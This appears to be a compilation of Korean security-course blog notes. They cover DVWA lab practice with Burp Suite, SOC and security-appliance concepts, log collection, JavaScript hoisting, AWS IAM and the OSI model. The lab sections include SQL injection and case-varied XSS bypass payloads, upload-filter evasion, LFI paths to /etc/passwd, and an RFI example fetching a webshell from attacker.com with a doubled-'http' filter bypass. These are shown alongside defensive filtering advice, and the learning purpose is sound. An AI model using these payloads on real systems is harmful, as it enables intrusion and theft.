테스트 방법 → (burfsuite에서 inspect off 하고 가상머신에서 네이버에서 로그인하고 on 인가..? )

 

 

 

 

 

BPR (비즈니스 프로세스 리엔지니어링)

 

ISP(정보화전략계획)

 

 

 

 

 

SQLMAP: sqli 공격을 자동화 해주는 도구

 

 

 

 

 

 

 

security level 을 medium으로 바꾸고 submit

 

 

 

 

 

 

Sql injection으로 가면 이렇게 바뀜

 

 

 

 

 

 

 

proxy: proxy 기능

intruder: 자동화 공격

repeater: 패킷(트래픽) 재사용

decoder: 인코딩, 복호화(URL, HTML, Base64 등 복호화가 가능한 알고리즘)

extension: 확장기능(Burfsuite는 plugin을 가져다가 사용할 수 있음)

 

 

 

 

 

 

패킷 (트래픽) 구조

POST /vulnerabilities/sqli/ HTTP/1.1 // method와 접속하는 path, param 등 확인

Host: dvwa // 내가 접속하는 서버 주소

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 // 내가 서버로 접속할 때 보내는 접속정보 (클라이언트 환경), 칼리라서 리눅스라고 나옴, Firefox 버전도 나옴, 사후에 사고가 발생했을 때 사용가능 (공격자 환경 파악), 웹 서버의 access로그에 기록되도록 설정 필요, 보안장비는 기본적으로 모두 기록함(WAF)

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: application/x-www-form-urlencoded

Content-Length: 18

Origin: http://dvwa

Connection: keep-alive

Referer: http://dvwa/vulnerabilities/sqli/ // 내가 마지막으로 방문한 주소 (POST에 있는 경로에 접속하기 위해 마지막으로 접속한 주소)

Cookie: PHPSESSID=tr6auq2ub8cqegr9l722sk10l3; security=medium // 연결 정보 (세션)

Upgrade-Insecure-Requests: 1

 

 

id=1&Submit=Submit

 

 

 

 

 

POST ~ Upgrade까지는 모드 헤더 영역

 

 

 

id=1&Submit=Submit //Body, Payload영역이 됨 (실제 서버로 전송되는 데이터 정보)

 

 

 

 

 

burfsuite를 on으로 바꾸고 

 

 

 

 

 

id뒤에 ' 추가하고 send 하면 syntax 에러남

 

 

 

 

 

id=1 뒤에 or 1=1 # 을 입력 하고 send

 

 

 

 

 

 

 

다른 쿼리

 

 

 

 

 

 

 

 

 

 

 

이건 왜 한건지 잘 모르겠음 ↓

 

 

 

proxy 도구는 127.~ 시작하는 것은 IP는 패킷 캡처가 원래 안됨

 

127.0 ~ Loopback으로 인식

 

 

 

about:config

 

 

 

 

 

 

 

 

 

더블클릭해서 true로 바꾸기

 

 

 

 

 

 

 

 

 

문자열 10개이상 쓰게 개발자 도구 가서 inspector 

 

max_lenth 100으로 수정

 

 

 

 

 

 

 

alert 이 안뜨고 이렇게 나옴

 

<script>로 시작하는 것이 차단되고 있다 라고 유추할 수 있음

 

 

 

구글에 검색

xss cheat sheet

 

<sCript>alert("test")</sCript>1

 

 

 

SQLi와 XSS대응

문자열 필터로 쉽게 대응 가능

1) 보안 장비

'union select , or 1=1 , <script> , alert , <img ~

 

'union, seleect 등 문자열에 대한 필터를 어떻게 할 것인가?

내 id가 union일 때 보안장비에서 어떻게 하면 오용탐지를 낮출 수 있을까  →  정규표현식 사용

 

 

 

2) 시큐어 코딩

loginpage  → id form  ' (싱글쿼트)가 입력되지 않도록 방지, %20(공백)이 입력되지 않도록, '<' char 아니라 text로 인식되도록 form에서 설정하면 됨

replace(치환)만 하면 대응 가능

 

 

 


 

 

File UP/DOWNload

 

업로드 된 파일이 실행되기 위한 조건 : 업로드 폴더 실행권한, 업로드 된 파일경로 노출

업로드 공격 대응

 →  업로드 폴더 실행권한 제거, 업로드된 파일 경로 노출 제거

 →  악성 파일 확장자 업로드 필터ㅌ

 → 업로드 되는 데이터 영역(payload, body)에 대한 문자열  필터(헤더, 본문도 점검 필요)   →   이것만 보안장비에서 대응 가능

 

 

업로드에 따른 상태 차이

유닉스: 확장자 기반이 아니라 권한 기반으로 동작

→ 해당 폴더에 생성되는 파일이 실행권한이 부여될때

 

윈도우: 확장자 기반으로 실행  →  파일업로드 취약점은 윈도우 서버가 더 안전함 (확장자 기반으로 필터가 되어 있을 때 확장자를 변경해서 업로드 해도 실행이 안됨. 해당 확장자로 인식

 

공격자는 확장자를 변경하던지, Content-Type을 변경하던지, 파일의 헤더를 추가하여 업로드 우회 시도

php, php2~php7 까지 먹힘 (뭔소리지)

 

 

테스트 ↓

 

놓침

 

 

 

Content - Type을 image/jpeg로 바꿈

 


 

 

BruteForce

→  자동화 공격, 무차별 대입공격 (사전기반, 무차별)

로그인 (취약한 ID or password 사용시)

파라미터 변조 (API 포함)를 데이터를 확인할 때

Intruder 기능을 사용하면 됨, 또는 코딩을 해도 됨

 

Command Injection

명령어 주입 공격, system함수에 의해 추가로 명령어가 실행되는 구조

;,|, ||, && c총 4가지의 방법으로 가능

ex) ls ; pwd를 하면 ls가실행되고(실행여부 상관없이), pwd가 실행됨

parameter 인자값으로 전달

해당 기능에서 system(cmd, sh)함수를 사용하고 있을 경우만 가능

공유기, 프린터, Iot, Embeded

uri에 ;, ...... 놓

 

 

 

LFI/RFI 

파일 참조 공격, 페이지 내 다른 파일을 참조하는데서 취약점이 발생함

함수 → include

취약점 구조: 소스코드 내 'admin?page=../../../test.html' 와 같은 구조를 가지고 있음

 

LFI: 로컬 파일 참조  → admin 페이지가 실행되는 서버의 파일을 참조하는 공격(웹서버)

../../../etc/password 와 같이 입력하여 로컬에 있는 파일 참조

../  →  상위 디렉토리 지정 문자열이 핵심, 인코딩 작업을 수행함, HTML, URL, 2중 URL 등

 

RFI: 원격 파일 참조  → 원격에 있는 페이지를 웹서버로 임포트하여 실행되는 공격

http://attacker.com/webshell   웹셸이 업로드 된 효과

http:// 프로토콜 지정이 핵심, 문자열을 회피하기 위해서 hthttpttp:// 이중으로 문자열을 입력함으로써 회피 (가운데 http가 감지되면 지워지고 밖에 http로 인식)

 

LFI와 파일다운로드 공격은 다름

LFI는 파라미터를 통해 파일을 참조하는 방식, 파일다운로드는 페이지가 다운로드 할 파일을 지정하여 호출하는 방식

 

LFI : http://test.com/abcd?page=../../../../../etc/passwd

download: http://test.com/download?id=test.doc    test.doc 대신에 상대경로(../../../../)로 파일명 입력

LFI 는 함수 구조로 기반, downliad는 페이지로 동작

LFI : ../ 에 대해 인코딩 데이터 복호화 필요, ../ 필터 핖요 (WAF에 인코딩 데이터 복호화 기능 지원)

RFI: uri 구조에 http와 같은 프로토콜 입력 필터

download: ../가 필터되도록 (LFI동일)

 

 

Rule을 만들면서 주의할 점

1) 정규표현식 사용여부 체크

ex) GET1, GET2, GWT99 와 같이 입력될 수 있는 것들

 

2) Rule에 탐지되었을 때 어떤 공격에 의해 탐지 되었는지에 대해 명확히 구분할 것

rule에 의해 탐지되면 로그가 남으며, log 기반으로 공격 횟수 카운팅이 가능

 

 

 

'보안 > 보안 관제' 카테고리의 다른 글

Snort 환경 구축  (1) 2024.12.11
Snort Rule 구조  (0) 2024.12.11
mod security  (3) 2024.12.11
[로그]  (1) 2024.12.06
보안 관제 (Security Operations Center, SOC)  (1) 2024.12.06

1. 서버 단위

Windows Server, Unix

window: Event Log [시스템, 애플리케이션, 보안], access.log, error.log, DB Log

Unix: Message Log, audit, auth, mail, access.log, error.log

 

 

2. 클라이언트

Windows: Event Log  [시스템, 애플리케이션, 보안]

 

 

3. 네트워크 기반

스위치, 라우터, 공유기, 보안 솔루션들..

Unix 계열이기 때문에 1번에서 수집해야하는 로그 위주로 수집 + 각 장비별 특성에 따른 로그 수집

ex) 스위치: 통신 테이블 내역, port에 대한 on off 설정 정보들 (config 설정 정보)

 

 

 

FW, IDS/IPS, WAF + 1~3번에 해당되는 로그를 모두 수집 → Splunk DB로 수집 [SIEM]

 

SIEM을 구축한다

FW, IDS/IPS: WAZUH로 구현

WAF: MODSECURITY로 구현

 

 

 

 


 

 

[공격유형]

1. 네트워크

스니핑, 스푸핑, DoS, DDoS, 스캐닝  →  공격들이 임계치가 존재함

→ IDS/IPS로 차단이 가능 (비정상행위) (로그인 n번 실패시 비정상행위로 감지)

 

접근 통제가 필요한 서버(DB)

→ F/W(방화벽)

 

2. 웹: WAF (Request, Response)

SQLi, XSS, CSRF, SSRF, SSTI, FileUpload, LFI/RFI, Directory Listing..

 

3. 내부자

자료유출(메일, 프린터, 메신저)  →  DLP를 통해 가능

 

4. 악성코드

문서형(문서파일), 파일리스(Code 기반), 실행파일(exe)

파일리스 → powershell 코드 사용 →  바로 메모리에 적재 가능 → file less

→ AV, EDR

 

5. 물리형태

비인가 단말기 연결, USB사용

→ NAC 

 

 


                                                                                                                                     

 

 

                                                                                                                                        (tomcat) 

인터넷 --------------- 라우터 ---------------  FW/IDS/IPS --------------- WAF/DMZ --------------- WAS --------------- Private

                                                                                                   (WEB, apache))                                            (DB)

                                                                                                              |

                                                                                                            FW

                                                                                                              |

                                                                                                          내부망

                                                                                           경영진, 정보보호팀 등등)

 

 

 

3 TIER  (WAF /DMZ, WAS, Private)

 

 

1) 인터넷에서 WAS에 직접 연결 불가능

2) 인터넷에서 DB에 직접 연결 불가능

'보안 > 보안 관제' 카테고리의 다른 글

Snort 환경 구축  (1) 2024.12.11
Snort Rule 구조  (0) 2024.12.11
mod security  (3) 2024.12.11
실습 - 환경세팅  (2) 2024.12.07
보안 관제 (Security Operations Center, SOC)  (1) 2024.12.06

개념

  • 보안을 모니터링하고 관리하는 부서 또는 기능
  • 조직의 정보 시스템과 네트워크 보호, 보안 위협 탐지, 대응 및 조치를 취하여 보안사고를 예방하고 관리

 

 

 

역할

  1. 모니터링
  2. 사이버 위협 탐지
  3. 사고 대응 및 조치
  4. 로그 분석 및 보고
  5. 보안 교육과 훈련

 

 

구성요소

  • 인프라와 도구
  • 인력
  • 정책 및 절차

 

유형

  • 내부 SOC → 5%
  • 외부 SOC → 95%
  • 하이브리드 SOC 

 

 

보안관제  프로세스

SIEM - 통합 솔루션

CTI - 위협정보를 정형화해서 데이터 제공

 

보안관제 프로세스 사이클

위협탐지 접수 →  초동분석 위협 →  분석 위협 →  대응 보고서

 

 

 


 

관제장비 구성 개념도

 

 

방화벽/IDS/IPS가 DDOS보다 중요도가 있음

 

 

관제장비의 종류 및 범주

네트워크에 DDOS 가 빠짐

시스템에 DB SAFER, WAF가 빠짐

 

 

단말보안

EDR - 백신기능(탐지하는 기능), 차단하는 기능을 같이 갖고 있는 솔루션

 

 

 

관제장비 특성

 

DDoS 장비 - 평상시 트래픽 대비 과도한 트래픽 발생시 차단

(장비가 성능이 굉장히 좋아야 함)

DDoS 장비는 DDoS 공격을 절대 100% 막을 수 없음

 

방화벽 - 접근제어 솔루션(문지기)

네트워크 계층과 전송계층의 IP/Port 데이터를 기반으로 동작

클라우드 - ACL, 다르게 보면 AWS 보안그룹 (인바운드, 아웃바운드에 설정할 수 있음)

 

 

공격자가  IP/Port 를 얼마든지 변경할 수 있어서 100% 방지를 할 수 없음

방화벽이 있어도 90% 정도는 뚫린다

 

 

서버측 방화벽

클라이언트측 방화벽(End User)

네트워크 자체의 방화벽 

 

방화벽의 주요기능

  • 접근통제 및 인증
  • 로깅 및 감사 (로그는 보통 1년 이상 보관해야 함),  1년에 1회는 무조건 감사를 받아야 함
  • 데이터 기밀성(암호화)
  • 보안 정책(허용된 사람만 들어오게 하는 정책)
  • NAT(IP를 바꿔주는 것),  공인 IP(겹치지 않는), 사설IP(누그든지 쓸 수 있는)
  • NAT  - 하나의 공인 IP를 사설IP로 쪼개서 다 사용할 수 있게 하고 나갈 때는 공인 IP 하나로
  • 대역폭 관리

 

방화벽 운영 2원칙

우선 차단 정책 (화이트 리스트) →  허용하는 것 이외에는 모두 차단, 가장 일반적으로 사용하는 기본 정책

우선 허용 정책 (블랙 리스트) → 화이트 리스트보다 더 운영하기 힘듬 (잘 사용 안함)

 

방화벽이 하지 못하는 일

  • 방화벽을 통과하지 않는 트래픽은 방어할 수 없음
  • 외부 공격을 돕는 내부자 또는 악의적인 내부자는 방어할 수 없음
  • 외부 →  방화벽 →  DMZ →  PC 
  • DMZ →  PC 사이에 악의적인 .... 
  • 노트북, 스마트폰, 휴대용 저장 장치들이 감염된 상태에세 내부망에 연결되는 경우
  • 단말기가 허용이 됨 →  통신이 허용이 됨
  • 방화벽을 거치지 않는 무선장비들은 확인할 수 없음

 

 

차세대방화벽 (NG Firewall)

  • 컨텐츠 제어

          IDS, IPS, WAF가 하는 역할이 컨텐츠 제어인데 현재는 방화벽에도 들어가 있음

 

  • 인공지능

 

 

관제장비 특성 - IDS(침입탐지시스템)

IDS에서 기능이 업그레이드 된 것이 IPS

  • 탐지만 하는 것 IDS
  • 탐지 뿐만 아니라 차단까지 하는것  IPS

 

IDS 기능

  • 경보
  • 셔닝 (Shunning) →  공격자나 의심스러운 호스트의 발신지 IP주소 및 서비스 포트에 대해 해당 패킷을 차단하도록 지시
  • 사용자 프로그램 실행

 

 

 

침입탐지 대상에 따른 분류

1. 네트워크 기반

2. 호스트 기반 (사용 안함, 개념만 알기)

 

 

네트워크 라인에 IDS를 설치

실시간으로 패킷을 분석, 트래픽을 분석해서 악성 행위를 탐지&차단할 수 있음

 

침입탐지 방식에 따른 분류

1. 오용탐지 - 패턴 매칭을 통하여 판단, 새로운 침입 유형의 탐지가 불가능 하므로 지속적인 시그니처 업데이트가 필요

2. 비정상 행위 탐지 - 통계자료를 기반으로 판단,  공격이 아님에도 공격으로 오인할 가능성이 높음 (로그인 여러번 실패시)

 

 

 

IDS는 방화벽 뒤에 설치되는게 일반적 (3번)

 

때에 따라서 4번, 5번에 설치되기도 함(예산이 많으면 3,4,5에 다 하는것이 좋음)

4번은 불순한 의도를 가진 내부자에 의해 데이터를 지킬 때

현재는 공기업이나 공공기관에 탈북자(간첩)들이 위장취업을 많이함

5번  내부 공격자에 의해 중국에서 자본을 사용해 데이터를 다 빼감

 

설치 우선순위

방화벽 뒤 → DMZ → 내부 네트워크  

 

 

 

IDS기반 

In-line Mode!

 

 

 

 

 

 

 

 

 

관제장비 특성

VPN - 보안 목적으로 나만 접속할 수 있게 통로를 만든것

 

웹 방화벽 - MOD Security 사용

방화벽 - wazuh 라는 무료 솔루션이 있음

 

 

웹 방화벽의 주요기능

  • Request 메세지 차단
  • Response 메세지 차단
  • HTTP 속성값 탐지
  • Health Check (잘 안씀)
  • Bypass

 

DLP - 민감해서 감사부서에서 전담마크함 대부분

DRM  - 암호화하는 솔루션

 

 

NAC - 네트워크를 제어하는 솔루션

접근 제어/인증

PC 및 네트워크 장치 통제(무결성 체크)

해킹, 웜, 유해 트래픽 탐지 및 차단

 

NAC는 EDR에서 나옴

 

 

보안 os (예전에 있었던 개념) - 몰라도 됨, 역사는 알고 있어야 함

 

 

 

스팸필터 솔루션

외부 에서 내부로 오는 이메일에서 악성 링크 등등을 걸러줌

메일 서버 앞단에 설치 하거나 메일 서버에 

메일 서버는 무조건 메일 서버를 거쳤다가 나한테 옴 

도입할 필요 없음 (스팸메일 차단하기엔 좋음, 그 외의 악성행위를 하는 메일에 대해서는 효과 zero)

공격자들이 선호하는 방식 - 첨부파일, 첨부파일에 비밀번호가 걸려있으면 절대 막을수가 없다...?

 

 

피싱 대응 훈련을 하게됨

 

 

백신 - end user 보안 솔루션

MDM, MAM

 

 

 

SOAR

SIEM

Splunk - 모든 로그들을 다 긁어올 수 있음

'보안 > 보안 관제' 카테고리의 다른 글

Snort 환경 구축  (1) 2024.12.11
Snort Rule 구조  (0) 2024.12.11
mod security  (3) 2024.12.11
실습 - 환경세팅  (2) 2024.12.07
[로그]  (1) 2024.12.06

호이스팅의 기본 개념

변수나 함수 선언을 코드의 최상단으로 끌어올리는 것처럼 동작하는 특성

자바스크립트 엔진이 코드를 실행하기 전에 변수와 함수 선언을 메모리에 저장하는 방식 때문에 발생

따라서, 코드 상에서 선언 전에 변수나 함수를 참조할 수 있게 됨

→ 자바스크립트 엔진은 실행 전에 코드를 스캔하면서 변수와 함수 선언을 메모리에 저장하기 때문



변수 호이스팅의 예시와 주의점

변수 호이스팅은 var, let, const 키워드를 사용할 때 각각 다르게 동작함

 

var로 선언된 변수는 호이스팅되어 undefined로 초기화되지만,

let과 const는 호이스팅되어도 초기화되지 않음

 

이로 인해 참조 에러(ReferenceError)가 발생할 수 있음

console.log(x); // undefined
var x = 5;
console.log(x); // 5

console.log(y); // ReferenceError: y is not defined
let y = 5;

왜냐하면 var는 호이스팅되어 undefined로 초기화되지만, let과 const는 초기화되지 않기 때문



함수 호이스팅의 이해

함수 선언문의 경우, 호이스팅으로 인해 코드의 어느 위치에서든지 함수를 호출할 수 있음

하지만 함수 표현식은 변수 호이스팅의 규칙을 따르기 때문에, 선언 전에 호출하려고 하면 참조 에러가 발생

console.log(sum(5, 3)); // 8
function sum(a, b) {
    return a + b;
}

console.log(multiply(5, 3)); // TypeError: multiply is not a function
var multiply = function(a, b) {
    return a * b;
};

왜냐하면 함수 선언문은 호이스팅으로 인해 코드의 어느 위치에서든 호출할 수 있지만,

함수 표현식은 변수 호이스팅의 규칙을 따르기 때문



호이스팅을 피하는 방법

변수 선언은 코드의 최상단에서, 함수 선언은 가능한 사용하기 전에 하는 것이 좋음

var 대신 let이나 const를 사용하여 변수를 선언하는 것이 현대 자바스크립트 개발에서 권장되는 방식

호이스팅으로 인한 혼란을 최소화할 수 있기 때문



 

결론

코드의 동작을 예측 가능하게 만들고, 버그를 방지하기 위해 호이스팅의 동작 방식을 이해하고 적절히 대응하는 것이 중요

 

 

IAM이란?

 

  • AWS의 보안 관리 서비스
  • IAM을 사용해서 사용자를 생성하고, 각 사용자에게 적절한 접근 권한을 부여
  • AWS 리소스의 보안을 강화할 수 있음
  • 사용자와 애플리케이션이 AWS 리소스에 접근할 수 있는 권한을 세부적으로 설정하고 관리할 수 있음

 

  1. 사용자 및 그룹 관리: AWS 리소스에 접근할 사용자를 생성하고, 이를 그룹으로 묶어 공통 권한을 쉽게 부여할 수 있음
  2. 역할(Role) 관리: 특정 작업에 필요한 접근 권한을 정의한 역할을 생성해 애플리케이션이나 서비스가 AWS 리소스에 접근하도록 설정할 수 있음
  3. 정책(Policy) 생성 및 관리: JSON 형식의 정책을 통해 각 사용자와 그룹에 맞춤형 접근 권한을 부여할 수 있음
  4. MFA(Multi-Factor Authentication) 설정: 추가 인증 단계를 요구하여 보안을 강화할 수 있음

 

 


 

실습

User  Group  Permissions  정책 유형
SeSAC-user1 SeSAC-S3-Support S3 읽기 전용 권한 관리형 정책
SeSAC-user2 SeSAC-EC2-Support EC2 인스턴스 읽기 전용 권한 관리형 정책
SeSAC-user3 SeSAC-EC2-Admin EC2 인스턴스 읽기, 시작, 중단 권한 인라인 정책

 



#1 user1, user2, user3 사용자 생성
#2 S3-Support, EC2-Support, EC2-Admin 사용자 그룹 생성

#3 S3-Support 사용자 그룹에 S3 읽기 전용 관리형 정책 추가

#4 EC2-Support 사용자 그룹에 EC2 인스턴스 읽기 전용 AWS 관리형 권한을 설정

#5 EC2-Admin 사용자 그룹에 EC2 인스턴스 읽기, 실행, 중지 권한을 부여 (인라인 정책을 적용)

#6 EC2 인스턴스 생성

#7 S3 버킷 생성

#8 (다른 브라우저 또는 시크릿 모드로 접속해) user1 사용자로 로그인해서 S3와 EC2 서비스로 접근

#9 user2 사용자로 로그인해서 S3와 EC2 서비스로 접근

#10 user3 사용자로 로그인해서 S3와 EC2 서비스로 접근

#11 user3 사용자를 S3-Support 사용자 그룹에 추가한 후 S3 서비스로 이동

OSI(Open System Interconnection)

국제표준화 기구인 ISO(International Standard Organization)에서 Open 시스템간 원활한 정보교환을 위하여 7개의 계층을 가지는 Protocol 표준을 제안

OSI 7 layer(or 7계층모델)라고 부름

 

OSI 모델의 목적

기본적인 하드웨어 또는 소프트웨어의 변경 없이 서로 다른

시스템간에 개방 통신을 위한 것

 

 

계층 분류 이유

  • 복잡함의 감소
  • 인터페이스의 표준화
  • 상호 호환성의 확보
  • 기술 개발의 가속화
  • 설명과 이해(습득)의 간소

 

 


 

 

OSI 모델의 7가지 추상 계층은 탑 다운 방식으로 다음과 같이 정의할 수 있음

 

 

 

7. 애플리케이션 계층

 

  • 이 계층은 사용자의 데이터와 직접 상호 작용하는 유일한 계층
  • 웹 브라우저 및 이메일 클라이언트와 같은 소프트웨어 애플리케이션은 통신을 개시하기 위해 애플리케이션 계층에 의지
  • 소프트웨어가 사용자에게 의미 있는 데이터를 제공하기 위해 의존하는 프로토콜과 데이터를 조작하는 역할
  • 클라이언트 소프트웨어 애플리케이션은 애플리케이션 계층의 일부는 아님
  • 애플리케이션 계층 프로토콜에는 HTTP뿐만 아니라 SMTP도 포함됨 (SMTP는 이메일  통신을 가능하게 하는 프로토콜 중 하나임)

 

 

6. 프레젠테이션 계층

  • 이 계층은 주로 데이터를 준비하는 역할을 하여 애플리케이션 계층이 이를 사용할 수 있게 함
  • 즉, 계층 6은 애플리케이션이 소비할 수 있도록 데이터를 프레젠테이션

 

  • 프레젠테이션 계층은 데이터의 변환, 암호화, 압축을 담당

        변환 - 서로  통신하는 두 개의 통신 장치는 서로 다른 인코딩 방법을 사용하고 있을 수 있으므로, 계층 6은 수신 장치          의 애플리케이션 계층이 이해할 수 있는 구문으로 수신 데이터를 변환하는 일을 담당

        

        암호화 - 장치가 암호화된 연결을 통해 통신하는 경우, 계층 6은 최종 송신자에게 암호화를 추가할 뿐만 아니라 최종            수신자에게 암호화를 디코딩하여 암호화되지 않은 읽기 쉬운 데이터로 애플리케이션 계층을 제시할 수 있도록 하는            역할

 

        압축 - 프레젠테이션 계층은 애플리케이션 계층에서 수신한 데이터를 계층 5로 전송하기 전에 압축하는 일도 담당

                  전송할 데이터의 양을 최소화함으로써 통신의 속도와 효율을 높이는 데 도움이 됨

 

 

 

5. 세션 계층

  • 두 기기 사이의 통신을 시작하고 종료하는 일을 담당하는 계층
  • 통신이 시작될 때부터 종료될 때까지의 시간을 세션이라고 함
  • 세션 계층은 교환되고 있는 모든 데이터를 전송할 수 있도록 충분히 오랫동안 세션을 개방한 다음 리소스를 낭비하지 않기 위해 세션을 즉시 닫을 수 있도록 보장
  • 세션 계층은 데이터 전송을 체크포인트와 동기화함

       →  ex) 100MB의 파일이 전송되는 경우 세션 계층이 5MB마다 체크포인트를 설정할 수 있음

            52 MB가 전송 된 후 연결이 끊어 지거나 충돌이 발생하면 마지막 체크 포인트에서 세션을 재개하는 것이 가능

            즉, 50MB의 데이터만 더 전송하면 됨

            체크 포인트가 없으면 전체 전송을 처음부터 다시 시작해야 함

 

 

 

4. 전송 계층

 

  • 두 기기 간의 종단 간 통신을 담당
  • 세션 계층에서 데이터를 가져와서 계층 3으로 보내기 전에 세그먼트라고 하는 조각으로 분할하는 일이 포함됨 (수신 기기의 전송 계층은 세그먼트를 세션 계층이 이용할 수 있는 데이터로 재조립해야 함)
  • 전송 계층은 또한 흐름 제어 및 오류 제어 기능의 역할도 함

      흐름제어 - 연결 속도가 빠른 송신자가 연결 속도가 느린 수신자를 압도하지 않도록 최적의 전송 속도를 결정함

      오류제어 - 전송 계층은 수신된 데이터가 완료되었는지 확인하고 수신되지 않은 경우 재전송을 요청하여 최종 수신자          에 대해 오류 제어를 수행함

  • 전송 계층 프로토콜에는 전송 제어 프로토콜(TCP)  및 사용자 데이터그램 프로토콜(UDP)이 있음

 

 

3. 네트워크 계층

네트워크를 구축하는데 osi 7 layer중 몇 계층 까지 있어야 할까?
단순하게 네트워크를 구축하고 운영하는데 2계층만 있어도 됨

네트워크란 통신 매체를 통해 연결된 노드들의 집합
통신 매체 → 물리적
노드 → 노드는 주소가 있음 → data link 계층

 

 

1. Routing(Path determination) 경로 결정
가장 최적의 경로를 결정해줌

 

2. 주소제공
빠르게 찾아갈 수 있는 주소가 제공되어야 함

이전의 주소 → 물리적이면서 평면적
3계층에서의 주소는 논리적이면서 계층적인 특징이 있음

 

  • 네트워크 계층은 서로 다른 두 네트워크 간 데이터 전송을 용이하게 하는 역할
  • 서로 통신하는 두 장치가 동일한 네트워크에 있는 경우에는 네트워크 계층이 필요하지 않음
  • 네트워크 계층은 전송 계층의 세그먼트를 송신자의 장치에서 패킷이라고 불리는 더 작은 단위로 세분화하여 수신 장치에서 이러한 패킷을 다시 조립함
  • 네트워크 계층은 데이터가 표적에 도달하기 위한 최상의 물리적 경로를 찾는데 이를 라우팅이라고 함
  • 네트워크 계층 프로토콜에는 IP, 인터넷 제어 메시지 프로토콜(ICMP) , 인터넷 그룹 메시지 프로토콜(IGMP) , IPsec 제품군이 있음

 

 

2. 데이터 연결 계층

논리적인 연결 - 전송을 위한 데이터의 형식 결정, 매체 접근 방법(MAC)의 제어

 

1. 논리적인 연결을 위해 주소를 제공
주소는 물리적이면서 평면적인 특징을 가지고 있음

주소가 물리적이다 → 제품이 생산이 될 때 박혀져 나오는 주소 (ex. 주민등록번호) 변경 불가능

평면적이다 → 하나의 제한된 공간에서만 사용

 

2. Topology를 정의
미로를 위에서 보면 입구와 출구를 쉽게 알 수 있음
데이터링크 계층에서 보면 어떤것들이 물리적으로 연결되어있는지 보임

 

3. 매체 접근 방식 규정

LAN(ethernet 이더넷)
어떻게 접근해야 에러없이 접근할 수 있을까?
CSMA/CD
Career Sense Multiple Access/Collision Detect
→  랜 환경에서의 동작방식을 약어(CSMA/CD)로 표현

 

 

  • 동일한 네트워크에 있는 두 개의 장치 간 데이터 전송을 용이하게 함
  • 네트워크 계층에서 패킷을 가져와서 프레임이라고 불리는 더 작은 조각으로 세분화
  • 네트워크 계층과 마찬가지로 데이터 연결 계층도 인트라 네트워크 통신에서 흐름 제어 및 오류 제어를 담당 (전송 계층은 네트워크 간 통신에 대해서만 흐름 제어 및 오류 제어만을 담당함)

 

 

MAC 주소 (Media Access Control Address)

데이트 링크 계층에서 통신을 위한 네트워크 인터페이스에 할당된 물리적 고유 식별 주소


MAC 주소는 간단히 말해 인터넷을 할 수 있는 이더넷 기반 기기에는 모두 다 하나씩 할당되어 있는 고유한 ID
PC의 랜카드나 스마트폰의 와이파이모듈에도 1대씩 할당되어 있음


MAC Address는 16진수, 48비트
앞에 6자리 - 벤더 코드
뒤에 6자리 - 프로덕트 넘버 (제품 생산 번호)


 

 

1. 물리적 계층

  • 물리적 연결 구간의 전기적, 기계적 특징과 순서의 정의, 활성, 관리, 비활성을 위한 기능적 특징
  • 케이블, 스위치 등 데이터 전송과 관련된 물리적 장비가 포함됨 (매체를 통해 연결)
  • 이 계층은 1과 0의 문자열인 비트 스트림으로 변환되는 계층
  • 두 장치의 물리적 계층은 신호 규칙에 동의해서 두 장치의 1이 0과 구별될 수 있어야 함

 

 


 

 

OSI 모델을 통해 데이터가 전송되는 방법

 

네트워크를 통해 사람이 읽을 수 있는 정보를 장치 간에 전송하려면 데이터가 송신 장치에서 OSI 모델의 7가지 계층 아래로 이동한 다음 최종 수신자에서 7가지 계층 위로 이동해야 함

 

 

예: A 가 B에게 이메일을 보내려고 함

 

A 는 자신의 노트북에 있는 이메일 애플리케이션에서 메시지를 작성하고 '발송'을 누름

A 의 이메일 애플리케이션이 이메일 메시지를 애플리케이션 계층으로 넘기면, 애플리케이션 레이어는 프로토콜(SMTP)을 선택하고, 데이터를 프레젠테이션 계층으로 전달

프리젠테이션 계층이 압축한 데이터는 세션 계층에 도달하고, 세션 계층은 세션을 시작함

 

이제 데이터는 발신자의 전송 계층으로 넘어가 세그먼트로 나눠지게 되며, 이 세그먼트는 네트워크 계층에서 패킷으로 다시 나눠지고, 이는 데이터 연결 계층에서 프레임으로 나눠짐

데이터 링크 계층은 해당 프레임을 물리적 계층으로 전달하며, 물리적 계층은 데이터를 1과 0의 비트스트림으로 변환하고 물리적 매체(예: 케이블)를 통해 전송

 

B의 컴퓨터가 물리적 매체(예: 와이파이)를 통해 비트스트림을 수신하면, 데이터는 반대 순서로 계층을 지나게 됨

먼저 물리적 계층은 비트 스트림을 1과 0에서 프레임으로 변환해 데이터 연결 계층으로 넘김

데이터 연결 계층은 프레임을 패킷으로 재조립해 네트워크 계층으로 넘김

네트워크 계층은 패킷으로 세그먼트를 만들어 전송 계층으로 넘기고, 전송 계층은 세그먼트를 재조립해 하나의 데이터를 만듬

 

이제 데이터는 수신자의 세션 계층으로 흐르고, 세션 계층이 이 데이터를 프리젠테이션 계층으로 넘기면, 통신 세션이 종료됨

프레젠테이션 계층은 압축을 제거하고 원본 데이터를 애플리케이션 계층으로 넘김

애플리케이션 계층은 사람이 읽을 수 있는 데이터를 B의 이메일 소프트웨어에 제공하고, B는 자기 노트북 화면에서 이메일 소프트웨어를 통해 A의 이메일을 읽을 수 있게 됨

'네트워크' 카테고리의 다른 글

1. 네트워크 개요  (1) 2024.10.19

 

네트워크란?

통신 매체를 통해 연결된 노드들의 집합

 

노드

주소를 가지고 있는 시스템, 엔터디

 

링크

두 노드를 연결하는 전송 매체

 

 

유선 연결

동축, 광섬유 또는 트위스트 페어 기술로 만들어진 이더넷 케이블을 사용

 

무선 연결

3G, 4G 또는 5G 기술과 같은 전파를 사용하여 노드를 연결

 


 

네트워크의 4가지 구성요소

  1. 전송 단말기
  2. 전송매체
  3. 전송 Protocol
  4. 전송장비

 

전송 단말기

- 정보를 생성, 저장, 검색, 가공 작업을 하면서 동시에 Network에 Access 할 수 있는 장치

ex) PC, PDA, Cellular Phone, PMP, Digiatal Camera 등

 

전송 매체

- 전기적인 신호를 전달할 수 있는 Cable들을 말 함

ex) 동축케이블, TP, 광케이블, 무선(RF), 인공위성 등

 

전송 Protocol (주소 포함)

- Protocol이란 표준화된 통신 규약

- Protocol들은 각 전송 장비마다 주소를 부여하고 부여된 주소를 기반으로 상용자 Data를 전송함

 

전송 장비

- PAN, LAN, MAN, WAN 구간에서 사용되는 장비

